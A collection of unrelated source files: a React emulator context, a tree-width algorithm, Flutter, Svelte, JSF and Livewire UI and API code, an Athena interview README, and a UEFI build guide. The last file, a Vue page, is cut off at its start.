import React, { createContext, useEffect } from "react";
import { Emulator } from '../emulator/emulator';
import useFile from "../hooks/useFile";
import { EventMap } from "../emulator/types";
export type LCD = {
data: Uint8ClampedArray;
width: number;
height: number;
}
interface EmulatorContextType {
emulator?: Emulator;
paused: boolean;
vblankCounter: number;
lcd: LCD;
useBootRom: boolean;
fps: number;
reset: () => void;
setUseBootRom: (enabled: boolean) => void;
}
const initialValue: EmulatorContextType = {
fps: 0,
useBootRom: true,
paused: true,
vblankCounter: 0,
lcd: {
data: new Uint8ClampedArray(144 * 160 * 4 * 4 * 4),
width: 160 * 4,
height: 144 * 4,
},
reset: () => { },
setUseBootRom: () => { },
}
export const EmulatorContext = createContext<EmulatorContextType>(initialValue);
export const EmulatorProvider = ({
children
}: { children: React.ReactNode }) => {
const [lcd, setLcd] = React.useState<LCD>(initialValue.lcd);
const [emulator, setEmulator] = React.useState<Emulator>();
const [paused, setPaused] = React.useState(initialValue.paused);
const [vblankCounter, setVblankCounter] = React.useState(initialValue.vblankCounter);
const [useBootRom, setUseBootRom] = React.useState(initialValue.useBootRom);
const [fps, setFps] = React.useState(0);
const bootrom = useFile('bootrom');
const gamerom = useFile('gamerom');
const reset = () => {
setPaused(initialValue.paused);
setVblankCounter(initialValue.vblankCounter);
setLcd(initialValue.lcd)
setEmulator(undefined);
}
const loadRoms = () => {
if (bootrom?.file) {
emulator?.loadBootRom(bootrom.file);
}
if (gamerom?.file) {
emulator?.bus.loadRomFile(gamerom.file);
}
}
useEffect(() => {
if (!emulator) {
const emulatorInst = new Emulator();
if (!useBootRom) {
emulatorInst.bootstrapWithoutRom();
}
setEmulator(emulatorInst);
loadRoms();
}
if (!emulator) {
return;
}
const handlers: { [key in keyof EventMap]?: () => void } = {
vblank: () => {
setVblankCounter((prev) => prev + 1);
},
pause: () => {
setPaused(emulator.clock.paused)
},
resume: () => {
setPaused(emulator.clock.paused)
},
render: () => {
setFps(emulator.ppu.fps);
setLcd({
width: emulator.ppu.width,
height: emulator.ppu.height,
data: emulator.ppu.lcdBuffer,
});
},
}
Object.keys(handlers).forEach((event) => {
const handler = handlers[event as keyof typeof handlers];
if (!handler) {
return;
}
emulator.on((event as keyof typeof handlers), handler);
});
return () => {
Object.keys(handlers).forEach((event) => {
const handler = handlers[event as keyof typeof handlers];
if (!handler) {
return;
}
emulator.off((event as keyof typeof handlers), handler);
});
};
}, [emulator]);
return (
<EmulatorContext.Provider value={{
emulator,
vblankCounter,
paused,
lcd,
reset,
useBootRom,
setUseBootRom,
fps
}}>
{children}
</EmulatorContext.Provider>
);
};
|
# Approach 1: BFS Traversal
# Time: O(n)
# Space: O(n)
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
import collections
class Solution:
def widthOfBinaryTree(self, root: Optional[TreeNode]) -> int:
if not root:
return 0
max_width = 0
# queue of elements [(node, col_index)]
queue = collections.deque()
queue.append((root, 0))
while queue:
level_length = len(queue)
_, level_head_index = queue[0]
# iterating the current level
for _ in range(level_length):
node, col_index = queue.popleft()
# preparing for next level
if node.left:
queue.append((node.left, 2 * col_index))
if node.right:
queue.append((node.right, 2 * col_index + 1))
max_width = max(max_width, col_index - level_head_index + 1)
return max_width
|
import 'package:flutter/material.dart';
import 'package:flutter_spinkit/flutter_spinkit.dart';
import 'package:provider/provider.dart';
import 'package:pustok/pages/cart/add_to_cart_page.dart';
import 'package:pustok/providers/books_provider/books_provider.dart';
import 'package:pustok/providers/wishlist/wishlist_provider.dart';
import 'package:pustok/utils/reusablewidgets/category_page/books_view_in_category.dart';
import 'package:pustok/utils/shared_preferences/shared_preferences_data.dart';
class WishListPage extends StatefulWidget {
const WishListPage({Key? key}) : super(key: key);
@override
State<WishListPage> createState() => _WishListPageState();
}
class _WishListPageState extends State<WishListPage> {
@override
void didChangeDependencies() async{
super.didChangeDependencies();
WishListProvider wishListProvider = await Provider.of<WishListProvider>(context,listen: false);
wishListProvider.wishedBooksList.clear();
wishListProvider.wishedListBooksID.clear();
await fetchWishedBooksInfo(wishListProvider);
}
Future<void> fetchWishedBooksInfo(WishListProvider wishListProvider)async{
bool value = await wishListProvider.wishedListBooksIDFetch(SharedPreferencesData.getUserEmailAfterLogin());
if(value == true){
await wishListProvider.wishedListBooksFetch();
}
}
@override
Widget build(BuildContext context) {
return Consumer<WishListProvider>(
builder: (_,wishListProvider,___) {
return Scaffold(
appBar: AppBar(
toolbarHeight: 60,
backgroundColor: Colors.white,
centerTitle: true,
elevation: 0,
leading: InkWell(
onTap:(){
Navigator.pop(context);
},
child: Icon(
Icons.arrow_back_ios_new,
color: Colors.black,
),
),
title: Text(
"WishList Page".toUpperCase(),
style: const TextStyle(
fontFamily: "voll",
fontSize: 20,
fontWeight: FontWeight.bold,
color: Colors.black
),
),
actions: [
Padding(
padding: EdgeInsets.only(right: 16.0, bottom: 10),
child: InkWell(
onTap:(){
Navigator.push(context, MaterialPageRoute(builder: (context){
return AddToCartPage();
}));
},
child: const Icon(
Icons.shopping_cart,
color: Colors.black,
size: 30,
),
),
)
],
),
body: wishListProvider.wishedBooksList.isEmpty ? const Center(
child: SpinKitCubeGrid(
size: 80,
color: Colors.black,
),
):
SafeArea(
child: ListView.separated(
shrinkWrap: true,
separatorBuilder:(context, index){
return const Padding(
padding: EdgeInsets.only(left:10,right: 10),
child: Divider(
thickness: 1,
color: Colors.black,
),
);
},
itemCount: wishListProvider.wishedBooksList.length,
itemBuilder: (context,index){
return BooksViewInCategory(
bookCover: wishListProvider.wishedBooksList[index].bookCover,
bookWriter: wishListProvider.wishedBooksList[index].bookWriter,
bookName: wishListProvider.wishedBooksList[index].bookName,
publishedYear: wishListProvider.wishedBooksList[index].publishedYear,
bookId: wishListProvider.wishedBooksList[index].bookID,
bookPage: "wishlist",
);
},
),
),
);
}
);
}
}
|
## Big Data Analytics team – Technical interview
As part of interview with Mobile Eye, this is a task involves usage of S3, Athena, Glue, and python.
## Table of Contents
- [Overview](#overview)
- [Getting Started](#getting-started)
- [Usage](#usage)
- [AWS Links](#aws-links)
- [Files and Structure](#files-and-structure)
- [Dependencies](#dependencies)
- [Assumptions](#assumptions)
- [Tests](#tests)
- [Portability](#portability)
- [Extensibility](#extensibility)
# Overview
- **Athena Query Wrapper**: A class (`athena_query_wrapper.py`) that serves as a wrapper for executing queries on Amazon Athena.
- **Distribution Percentage Query Builder**: A query builder (`distribution_percentage_query_builder.py`) tailored for the task requirement - distribution percentage queries. It enables dynamic generation of queries to analyze distribution percentages based on specified ranges.
- **Select Query Builder**: Another query builder (`select_query_builder.py`) focused on creating SELECT queries dynamically. It allows users to add columns and build SELECT queries with ease.
## Getting Started
Assume python 3.8 or later
pip install -r requirements.txt
# Usage
See main.py - it acts as a smoke test - and as such tests the athena_query_wrapper.py.
# AWS Links
- S3 : https://s3.console.aws.amazon.com/s3/buckets/me-interview
- Athena : https://eu-north-1.console.aws.amazon.com/athena/ db : detection_db, table: distance_detection
- Glue : https://eu-north-1.console.aws.amazon.com/glue/home?region=eu-north-1#/v2/data-catalog/tables/view/distance_detection?database=detection_db
# Files and Structure
Overview of the project structure and the purpose of each file:
- main.py: Entry point of the application, demonstrating the usage of query builders - this serves as smoke test.
- athena_query_wrapper.py: Wrapper class for executing Athena queries.
- distribution_percentage_query_builder.py: Query builder for creating distribution percentage queries, as instructed by the task itself.
tests folder (below)
proof of portability folder (below)
# Dependencies
List of dependencies needed to run the project.
boto3: AWS SDK for Python.
# Assumptions
- The SDK user could be unaware of SQL syntax and usage, but does know the table name and basic structure, including types.
- The query builders are as portable as possible within the scope of this assignment - I've tried not to over-engineer it, yet use OOP and OOD concepts to show knowledge.
- I did put effort and time for this task, but tried to handle and deliver it as if I would spend an entire day for it.
- Obviously, such task can take many different directions, having said that, I'll be willing to make any necessary adjustments to have it more polished.
# Tests
Under the folder /tests, there are unit tests for both the query builder, no need to set aws credentials.
# Portability
select_query_builder.py: Query builder for creating SELECT queries. Introduced it to prove portability.
See usage in main.py
# Extensibility
- With the structure and tests that already covered at distribution_percentage_query_builder.py, it would be relatively easy to add an aggregation function injected at the constructor, and have it more flexible than it is
for example :
class DistributionPercentageQueryBuilderWithAggregator...:
def __init__:
...
aggregator: str # avg count etc
...
...
def add_distribution_range(self, start_range, end_range):
...
case_statement = f"100.0 * {aggregator}(CASE WHEN ...
...
...
|
import { Post } from "@/interfaces/posts.interface";
const API_URL = process.env.WORDPRESS_API_URL as string;
export async function fetchApi(
query: string,
{ variables }: { variables?: any } = {}
) {
const headers = new Headers();
headers.append("Content-Type", "application/json");
headers.append("crossDomain", "true");
// if (process.env.WORDPRESS_AUTH_REFRESH_TOKEN) {
// headers.append(
// "Authorization",
// `Bearer ${process.env.WORDPRESS_AUTH_REFRESH_TOKEN}`
// );
// }
const res = await fetch(API_URL, {
method: "POST",
headers: headers,
body: JSON.stringify({
query,
variables,
}),
});
const json = await res.json();
return json.data;
}
export async function getAllPostSlugs(): Promise<Post[]> {
const data = await fetchApi(`
{
posts(first:1000 where: {orderby: {field: DATE, order: DESC}}) {
edges {
node {
slug
date
}
}
}
}
`);
return data.posts.edges.map((edge: any) => edge.node);
}
export async function getAllPostHome(): Promise<Post[]> {
const data = await fetchApi(`
{
posts(first:10 where: {orderby: {field: DATE, order: DESC}}) {
edges {
node {
slug
title
content(format: RENDERED)
date
}
}
}
}
`);
return data.posts.edges.map((edge: any) => edge.node);
}
export async function getAllPostLanguage(lang: string) {
const data = await fetchApi(
`
query MyEnglishPosts($language: LanguageCodeFilterEnum = EN) {
posts(first: 10, where: {language: $language}) {
nodes {
id
slug
title
}
}
}`,
{
variables: {
language: lang,
},
}
);
return data?.posts.nodes;
}
export async function getAllPosts() {
const data = await fetchApi(`
{
posts(first: 1000) {
edges {
node {
title
excerpt
slug
date
featuredImage {
node {
sourceUrl
}
}
categories {
nodes {
name
slug
}
}
}
}
}
}
`);
return data?.posts.edges;
}
export async function getPostAndMorePosts(slug_require: string) {
const data = await fetchApi(
`query MyEnglishPosts($id: ID = "", $idType: PostIdType = SLUG) {
post(idType: $idType, id: $id) {
title
date
content
slug
excerpt
language {
name
locale
slug
}
translations {
slug
language {
code
slug
locale
name
}
}
}
}`,
{
variables: {
id: slug_require,
idType: "SLUG",
},
}
);
return data?.post;
}
|
import { FormEvent, useContext, useEffect, useState } from "react"
import { UserContext } from "../App"
import TopicRoom from "./TopicRoom"
import TopicsList from "./TopicsList"
export type Topic = {
_id: string
title: string
}
const Home = () =>{
const { user, logout } = useContext(UserContext)
const [topics, setTopics] = useState<Topic[]>([])
const [openTopic, setOpenTopic] = useState<Topic | null>(null)
const handleSubmit = async (evt: FormEvent<HTMLFormElement>) =>{
evt.preventDefault()
const formDate = new FormData(evt.currentTarget)
const title = formDate.get("title")!.toString()
evt.currentTarget.reset()
const data = await fetch("http://localhost:3000/topics", {
method: "POST",
headers: {"Content-Type" : "application/json"},
body: JSON.stringify({ title })
}).then(res => res.json())
setTopics([...topics, data])
}
const fetchTopics = async () =>{
const data = await fetch("http://localhost:3000/topics").then(res => res.json())
setTopics(data)
}
useEffect(() => { fetchTopics() }, [])
return(
openTopic ?
<>
<TopicRoom topic={openTopic} setOpenTopic={setOpenTopic}/>
</>:
<>
<header>
<h2>Olá, {user?.name}</h2>
<nav>
<button onClick={logout}>Sair</button>
</nav>
</header>
<h3 className="form-title">Crie um tópico para conversar sobre seus assuntos preferidos</h3>
<form className="inline-form" onSubmit={handleSubmit}>
<input type="text" name="title" id="title" required/>
<button type="submit">Criar</button>
</form>
<TopicsList topics={topics} setTopics={setTopics} setOpenTopic={setOpenTopic}/>
</>
)
}
export default Home
|
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:h="http://java.sun.com/jsf/html"
xmlns:f="http://java.sun.com/jsf/core"
xmlns:p="http://primefaces.org/ui">
<h:head>
<title>Login</title>
<!-- Bootstrap CDN Link/s -->
<link
href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM"
crossorigin="anonymous" />
<!-- Internal CSS Style -->
<style>
body {
background-color: #BBC9E0;
background-image:
url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='100%25' viewBox='0 0 1200 800'%3E%3Cdefs%3E%3CradialGradient id='a' cx='0' cy='800' r='800' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23bcd7ed'/%3E%3Cstop offset='1' stop-color='%23bcd7ed' stop-opacity='0'/%3E%3C/radialGradient%3E%3CradialGradient id='b' cx='1200' cy='800' r='800' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23dce2ed'/%3E%3Cstop offset='1' stop-color='%23dce2ed' stop-opacity='0'/%3E%3C/radialGradient%3E%3CradialGradient id='c' cx='600' cy='0' r='600' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23ddeff9'/%3E%3Cstop offset='1' stop-color='%23ddeff9' stop-opacity='0'/%3E%3C/radialGradient%3E%3CradialGradient id='d' cx='600' cy='800' r='600' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23BBC9E0'/%3E%3Cstop offset='1' stop-color='%23BBC9E0' stop-opacity='0'/%3E%3C/radialGradient%3E%3CradialGradient id='e' cx='0' cy='0' r='800' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23BCE5F9'/%3E%3Cstop offset='1' stop-color='%23BCE5F9' stop-opacity='0'/%3E%3C/radialGradient%3E%3CradialGradient id='f' cx='1200' cy='0' r='800' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23F9F9F9'/%3E%3Cstop offset='1' stop-color='%23F9F9F9' stop-opacity='0'/%3E%3C/radialGradient%3E%3C/defs%3E%3Crect fill='url(%23a)' width='1200' height='800'/%3E%3Crect fill='url(%23b)' width='1200' height='800'/%3E%3Crect fill='url(%23c)' width='1200' height='800'/%3E%3Crect fill='url(%23d)' width='1200' height='800'/%3E%3Crect fill='url(%23e)' width='1200' height='800'/%3E%3Crect fill='url(%23f)' width='1200' height='800'/%3E%3C/svg%3E");
background-attachment: fixed;
background-size: cover;
}
img {
max-width: 100%;
max-height: 100%;
}
.img-logo {
height: 80px;
width: 80px;
}
</style>
</h:head>
<h:body>
<div class="container-fluid">
<div class="row mt-5"></div>
<div class="row mt-5">
<div class="img-logo mx-auto">
<img src="https://i.ibb.co/McRnRyG/logo.png" />
</div>
</div>
<div class="row">
<div class="col">
<div class="card p-0 mx-auto" style="width: 20rem;">
<h5 class="card-header text-center">Member Login</h5>
<div class="card-body">
<h:form class="d-flex justify-content-center">
<h:panelGrid columns="1" class="mx-auto">
<p:inputText value="#{userBean.emailAddress}"
placeholder="Email Address" class="container my-1" />
<p:password value="#{userBean.password}" placeholder="Password"
class="container my-1" />
<p:commandButton action="#{userBean.validateUserLogin}"
value="Sign in" class="container my-1" />
<h:messages id="messages" showDetail="true" style="color:red; list-style: none; margin:0; padding:0; font-size: 0.7rem; text-align:center;">
<p:autoUpdate />
</h:messages>
<h:panelGrid columns="2" class="mx-auto">
<p:outputLabel value="Not a member?" />
<p:commandLink
action="#{navigationController.redirectToRegisterPage}"
value="Create an account"></p:commandLink>
</h:panelGrid>
</h:panelGrid>
</h:form>
</div>
</div>
</div>
</div>
</div>
</h:body>
</html>
|
# Building
*Recommended Linux OS: Ubuntu 22.04.3 LTS*
*Or use the docker method*
## If using docker method
### Step 1:
First of you need the sourcecode to compile a UEFI Image. <br />
Clone the Repo by using:
```
git clone https://github.com/Robotix22/Mu-Qcom.git --recursive
cd Mu-Qcom
```
You need to have `git` installed.
### Step 2
After the clone is done, proceed to open a shell/powershell/terminal inside the clone location
For Linux/MacOS/BSD users, run:
```
./docker-build.sh "-d <Codename> [-r <Build Mode>] [-m <RAM Size>]"
```
You need the "double quotes"
For Windows users, run (not tested):
```
.\docker-build.cmd "-d <Codename> [-r <Build Mode>] [-m <RAM Size>]"
```
You need the "double quotes".
When then Build is done you will find a `.img` File in the root of the repo.
## If building natively
### Step 1:
First of you need the sourcecode to compile a UEFI Image. <br />
Clone the Repo by using:
```
git clone https://github.com/Robotix22/Mu-Qcom.git --recursive
cd Mu-Qcom
```
### Step 2:
After Cloning the repo we can now continue on Setting up the Environment. <br />
First we need to install the needed Packages:
```
./setup_env.sh -p <Package Manager> [-v]
```
### Step 3:
So now we are able to begin the real UEFI build:
```
./build_uefi.sh -d <Codename> [-r <Build Mode>] [-m <RAM Size>]
```
When then Build is done you will find a `.img` File in the root of the repo.
## Troubleshooting:
### Python Requirements:
1. You may encounter an issue That the required package is not satisfied or something, If your Python Version is lower than 3.10 install Python 3.10 or newer
2. After installing Python 3.10 Linux won't automatically chose Python 3.10 as default, To set it as default use these commands:
```
sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.10 1
sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.10 1
```
3. Now check the Python Version:
```
python3 --version
```
You should get this output:
```
Python 3.10.*
```
### Git Unknown Switch
1. If you have an old Version of git you may come across this Issue, So you need to install the latest version of git.
2. I prefer using `apt` to update git but if it tells you it is already newest version you should follow [this](https://www.fosslinux.com/64522/install-git-debian-linux.htm) Guide
### Device dosen't boot UEFI
1. If your Device dosen't boot the UEFI and is just stuck on the boot screen then maybe the DTB is the Problem.
2. Dump your DTB from Android `dd if=/sys/firmware/fdt of=/sdcard/<Device Codename>.dtb`.
3. After that replace `ImageResources/DTBs/<Device Codename>.dtb` with your dumped DTB.
|
<?php
namespace App\Livewire;
use GuzzleHttp\Client;
use Illuminate\Support\Facades\Http;
use Livewire\Component;
use Livewire\WithFileUploads;
use function Laravel\Prompts\error;
use Barryvdh\Debugbar\Facades\Debugbar as FacadesDebugbar;
class EditRequest extends Component
{
use WithFileUploads;
public $id;
public $title;
public $description;
public $received_at;
public $sender;
public $sender_id;
public $state;
public $source;
public $state_id;
public $action;
public $status;
public $category_id;
public $receivedData;
public $senderData = [];
public $stateData = [];
public $categoryData = [];
public $category;
public $files;
public $senState_id;
public $response = [];
public $selectedId;
public $isLoading = True;
public $isOpen = [];
public $isFileDialogOpen = false;
public $selectedFiles = [];
// get a parameter with $listeners array
public $listeners = ['requestUpdated' => 'updateReq', 'responseUpdated' => 'updateReponse'];
public $reponse = [];
public $response_time = [];
public function mount()
{
// dd($this->receivedData = session()->get('dataToPass'));
$this->receivedData = session()->get('dataToPass');
$this->id = $this->receivedData['id'];
$this->title = $this->receivedData['title'];
$this->description = $this->receivedData['description'];
$this->received_at = $this->receivedData['received_at'];
$this->sender = $this->receivedData['sender'];
//dd($this->sender);
// $this->response = $this->receivedData['action'][0]['response'];
$this->category_id = $this->receivedData['sender']['category']['id'];
// $this->sender2 = $this->receivedData['sender']['id'];
$this->state = $this->receivedData['state'];
$this->source = $this->receivedData['source'];
$this->action = $this->receivedData['action'];
$this->files = $this->receivedData['file'];
//$this->response = $this->receivedData['action']['response'];
$this->sender_id = $this->receivedData['sender']['id'];
$this->state_id = $this->receivedData['state']['id'];
//$this->state_id = $this->receivedData['sender']['state']['id'];
$this->senState_id = $this->receivedData['sender']['state']['id'];
$this->category_id = $this->receivedData['sender']['category_id'];
foreach ($this->action as $action) {
$this->isOpen[$action['id']] = false; // Initialize all as closed
}
}
public function load()
{
$this->getCategories();
$this->getSender();
$this->getState();
$this->updateReq('request');
// $this->updateRes();
$this->isLoading = false;
}
public function goBack()
{
return redirect()->to('/');
}
public function updateReq($param)
{
$http = new Client();
$response = $http->get('http://localhost:8000/api/files/' . $this->id . '/' . $param);
$data = json_decode($response->getBody(), true);
$this->files = $data;
}
public function updateReponse($param, $index)
{
$http = new Client();
$response = $http->get('http://localhost:8000/api/files/' . $this->response[$this->selectedId][$index]['id'] . '/' . $param);
$data = json_decode($response->getBody(), true);
$this->response[$this->selectedId][$index]['file'] = $data;
}
public function deleteFileRes($index,$id)
{
// dd( $index);
//dd($item);
$apiUrl = 'http://localhost:8000/api/files/' . $id;
$http = new Client();
$http->delete($apiUrl);
$this->selectedFiles = array_filter($this->selectedFiles, function ($file) use ($id) {
return $file['id'] != $id;
});
//$http = new Client();
// $response = $http->get('http://localhost:8000/api/files/' . $this->response[$this->selectedId][$index]['id'] . '/' . 'response');
// $data = json_decode($response->getBody(), true);
$this->response[$this->selectedId][$index]['file'] = $this->selectedFiles;
}
public function downloadFile($file_path)
{
$remoteFileUrl = 'http://127.0.0.1:8000/' . $file_path;
//dd($remoteFileUrl);
$tempFilePath = tempnam(sys_get_temp_dir(), 'downloaded_file');
// Télécharger le fichier localement
$fileContent = file_get_contents($remoteFileUrl);
file_put_contents($tempFilePath, $fileContent);
// Obtenir le nom de fichier à partir de l'URL
$fileName = basename($remoteFileUrl);
// Téléchargez le fichier localement en utilisant Laravel Storage
return response()->download($tempFilePath, $fileName)->deleteFileAfterSend(true);
}
public function toggle($id)
{
// Toggle the isOpen state
$this->isOpen[$id] = !$this->isOpen[$id];
// Find action by id and get responses
$action = collect($this->action)->firstWhere('id', $id);
if (isset($action['response'])) {
$this->selectedId = $id;
// if $this->response[$id] is not set, set it to the response data
if (!isset($this->response[$id])) {
$this->response[$id] = $action['response'];
foreach ($this->response[$id] as $item) {
$this->reponse[$item['id']] = $item['response'];
$this->response_time[$item['id']] = $item['response_time'];
}
}
} else {
$this->response[$id] = [];
}
}
public function showFiles($responseId)
{
// dd($responseId);
// dd($this->response);
$response = collect($this->response[$this->selectedId])->firstWhere('id', $responseId);
//dd($response);
// Load the files for the selected response
$this->selectedFiles = $response['file'] ?? [];
// Open the file dialog
$this->isFileDialogOpen = true;
}
public function closeFileDialog()
{
// Close the file dialog
$this->isFileDialogOpen = false;
}
public function sendEdit()
{
// Prepare the request data
$requestData = [
'title' => $this->title,
'description' => $this->description,
'source' => $this->source,
'received_at' => $this->received_at,
'sender_id' => $this->sender_id,
'state_id' => $this->state_id,
//'action'=> $this->action,
];
// dd($requestData);
// Create a GuzzleHttp client instance
$client = new Client();
// Send the form data to the API endpoint using GuzzleHttp
$response = $client->put('http://localhost:8000/api/requests/' . $this->id, [
'headers' => ['Content-Type' => 'application/json'],
'json' => $requestData,
]);
if ($response->getStatusCode() == 200) {
// Resource edited successfully
session()->flash('success', 'Resource edited successfully');
$data = json_decode($response->getBody(), true);
session()->put('dataToPass', $data);
$this->redirect('/editrequest');
} else {
// Handle other status codes or scenarios
session()->flash('error', 'Failed to edit resource');
return redirect()->back();
}
}
public function editRes($index, $item)
{
$this->response[$this->selectedId][$index]['response'] = $this->reponse[$item['id']];
$this->response[$this->selectedId][$index]['response_time'] = $this->response_time[$item['id']];
// dd($item);
$responseData = [
'response' => $this->reponse[$item['id']],
'response_time' => $this->response_time[$item['id']],
];
// dd($responseData);
// Create a GuzzleHttp client instance
$client = new Client();
// Send the form data to the API endpoint using GuzzleHttp
$response = $client->put('http://localhost:8000/api/responses/' . $item['id'], [
'headers' => ['Content-Type' => 'application/json'],
'json' => $responseData,
]);
if ($response->getStatusCode() == 200) {
// Resource edited successfully
session()->flash('success', 'Resource edited successfully');
} else {
// Handle other status codes or scenarios
session()->flash('error', 'Failed to edit resource');
return redirect()->back();
}
}
public function updatecat($categoryId)
{
$this->category_id = $categoryId;
$this->getSender();
}
public function updatestate($stateId)
{
$this->senState_id = $stateId;
$this->getSender();
}
public function getSender()
{
$this->senderData = [];
// Check if the categoryData is not empty
if (!empty($this->categoryData)) {
// Filter the categoryData to get the specific category with the matching ID
$filteredCategories = array_filter($this->categoryData, function ($cat) {
return $cat['id'] == $this->category_id;
});
// Check if any category is found
if (!empty($filteredCategories)) {
// Get the first category (assuming there's only one category with the same ID)
$category = reset($filteredCategories);
// Check if the sender key exists in the category data
if (isset($category['sender'])) {
// Filter senders based on state_id
$filteredSenders = array_filter($category['sender'], function ($sender) {
return $sender['state_id'] == $this->senState_id;
});
// Assign filtered sender data to senderData property
$this->senderData = array_values($filteredSenders);
}
}
}
}
public function getState()
{
$http = new Client();
$response = $http->get('http://localhost:8000/api/states');
// Check if the request was successful (status code 2xx)
// Get the response body as an array
$data = json_decode($response->getBody(), true);
// Check if the decoding was successful
$this->stateData = $data;
}
public function getCategories()
{
$http = new Client();
$response = $http->get('http://localhost:8000/api/categories');
// Check if the request was successful (status code 2xx)
// Get the response body as an array
$data = json_decode($response->getBody(), true);
// Check if the decoding was successful
$this->categoryData = $data;
$this->getSender();
}
public function deleteAct($id)
{
$http = new Client();
$http->delete('http://localhost:8000/api/actions/' . $id);
// Remove the deleted action from the $this->action array
$this->action = array_filter($this->action, function ($act) use ($id) {
return $act['id'] != $id;
});
}
public function deleteRes($id)
{
//dd($id);
$http = new Client();
$http->delete('http://localhost:8000/api/responses/' . $id);
// Remove the deleted action from the $this->action array
$this->response[$this->selectedId] = array_filter($this->response[$this->selectedId], function ($res) use ($id) {
return isset($res['id']) && $res["id"] != $id;
});
}
public function deleteFile($file_id)
{
$apiUrl = 'http://localhost:8000/api/files/' . $file_id;
// dd($apiUrl);
$http = new Client();
$http->delete($apiUrl);
// Remove the deleted action from the $this->action array
$this->files = array_filter($this->files, function ($file) use ($file_id) {
return $file['id'] != $file_id;
});
}
public function delete($id)
{
$apiUrl = 'http://localhost:8000/api/requests/' . $id;
// dd($apiUrl);
$http = new Client();
$http->delete($apiUrl);
$this->redirect('/');
}
public function goToEditAction($item)
{
//dd('test');
$temp = $this->findActionById($item);
// dd($temp);
session()->put('dataToPass', $temp);
$this->redirect('/editactions');
}
public function goToShowResponse($item)
{
//dd($this->receivedData);
$temp = $this->findResponseById($item);
//dd($temp);
session()->put('dataToPass', $temp);
$this->redirect('/showresponses');
}
public function findActionById($id)
{
foreach ($this->action as $act) {
if ($act['id'] == $id) {
return $act;
}
}
}
public function findResponseById($id)
{
foreach ($this->response as $res) {
if ($res['id'] == $id) {
return $res;
}
}
}
public function render()
{
return view('livewire.edit-request');
}
}
|
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
import { AmplifyGraphqlDefinition } from '../amplify-graphql-definition';
const TEST_SCHEMA = /* GraphQL */ `
type Todo @model {
id: ID!
content: String!
}
`;
describe('AmplifyGraphqlDefinition', () => {
describe('fromString', () => {
it('returns the provided string and no functions', () => {
const definition = AmplifyGraphqlDefinition.fromString(TEST_SCHEMA);
expect(definition.schema).toEqual(TEST_SCHEMA);
expect(definition.functionSlots.length).toEqual(0);
});
});
describe('fromSchemaFiles', () => {
let tmpDir: string;
beforeEach(() => {
tmpDir = fs.mkdtempSync('fromSchemaFile');
});
afterEach(() => {
if (fs.existsSync(tmpDir)) fs.rmdirSync(tmpDir, { recursive: true });
});
it('extracts the definition from a single schema file', () => {
const schemaFilePath = path.join(tmpDir, 'schema.graphql');
fs.writeFileSync(schemaFilePath, TEST_SCHEMA);
const definition = AmplifyGraphqlDefinition.fromFiles(schemaFilePath);
expect(definition.schema).toEqual(TEST_SCHEMA);
expect(definition.functionSlots.length).toEqual(0);
});
it('extracts the definition from the schema files, appended in-order', () => {
const rdsTestSchema = /* GraphQL */ `
type Blog @model {
id: ID!
posts: [Post] @hasMany
}
type Post @model {
id: ID!
blog: Blog @belongsTo
}
`;
const schemaFilePath = path.join(tmpDir, 'schema.graphql');
const rdsSchemaFilePath = path.join(tmpDir, 'schema.rds.graphql');
fs.writeFileSync(schemaFilePath, TEST_SCHEMA);
fs.writeFileSync(rdsSchemaFilePath, rdsTestSchema);
const definition = AmplifyGraphqlDefinition.fromFiles(schemaFilePath, rdsSchemaFilePath);
expect(definition.schema).toEqual(`${TEST_SCHEMA}${os.EOL}${rdsTestSchema}`);
expect(definition.functionSlots.length).toEqual(0);
});
});
});
|
<script lang="ts">
import { createEventDispatcher } from "svelte";
import { trans } from "../text/translations";
import { auth } from "../auth";
import { sendJson } from "../requests/authRequests";
const dispatch = createEventDispatcher();
let name = "";
let email = "";
let password = "";
let confirmPassword = "";
async function handleSubmit() {
try {
const data = await sendJson("https://localhost:8001/api/Register", 'POST' ,{
name,
email,
password,
});
auth.set({
tokenStr: data.token,
tokenDecoded: { name: data.name, email: data.email },
});
} catch (error) {
console.error(error);
}
}
</script>
<form on:submit|preventDefault={handleSubmit} class="user-form">
<label for="name">{$trans.mainPage.username}</label>
<input type="text" id="name" bind:value={name} required />
<label for="email">{$trans.mainPage.email}</label>
<input type="email" id="email" bind:value={email} required />
<label for="password">{$trans.mainPage.password}</label>
<input type="password" id="password" bind:value={password} required />
<label for="confirmPassword">{$trans.mainPage.confirmPassword}</label>
<input
type="password"
id="confirmPassword"
bind:value={confirmPassword}
required
/>
<button type="submit">{$trans.mainPage.registerAction}</button>
<p class="switch-text">
{$trans.mainPage.haveAnAccount}
<button on:click={() => dispatch("switch")} class="switch-btn">
{$trans.mainPage.switchToLogin}
</button>
</p>
</form>
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<script src="../js/vue.js"></script>
<script src="../js/dayjs.min.js"></script>
</head>
<body>
<!--
我们学过的指令:
v-bind:单向鄉定解析表达式,可简写为 :xxx
v-model:双向数据鄉定
V-for :遍历数组/对象/字符串
v-on :鄉定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else :条件渲染(动态控制节点是香存存在)
V-show :条件渲染(动态控制节点是否展示)
v-text指今:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:
v-text会替换掉节点中的内容,{{xx}}则不会。
-->
<div id="root">
